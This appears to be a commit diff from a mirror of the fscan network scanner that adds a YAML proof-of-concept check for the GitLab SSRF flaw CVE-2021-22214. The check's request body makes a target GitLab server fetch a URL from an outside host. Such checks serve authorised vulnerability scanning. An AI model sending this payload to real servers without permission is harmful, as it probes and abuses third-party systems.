mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-26 13:11:53 +08:00
优化xray解析模块,支持groups、新增poc
This commit is contained in:
@@ -0,0 +1,14 @@
|
||||
name: poc-yaml-gitlab-ssrf-cve-2021-22214
|
||||
rules:
|
||||
- method: POST
|
||||
path: /api/v4/ci/lint
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{"include_merged_yaml": true, "content": "include:\n remote: http://baidu.com/api/v1/targets/?test.yml"}
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"{\"status\":\"invalid\",\"errors\":") && (response.body.bcontains(b"does not have valid YAML syntax") || response.body.bcontains(b"could not be fetched"))
|
||||
detail:
|
||||
author: mumu0215(https://github.com/mumu0215)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ
|
||||
Reference in New Issue
Block a user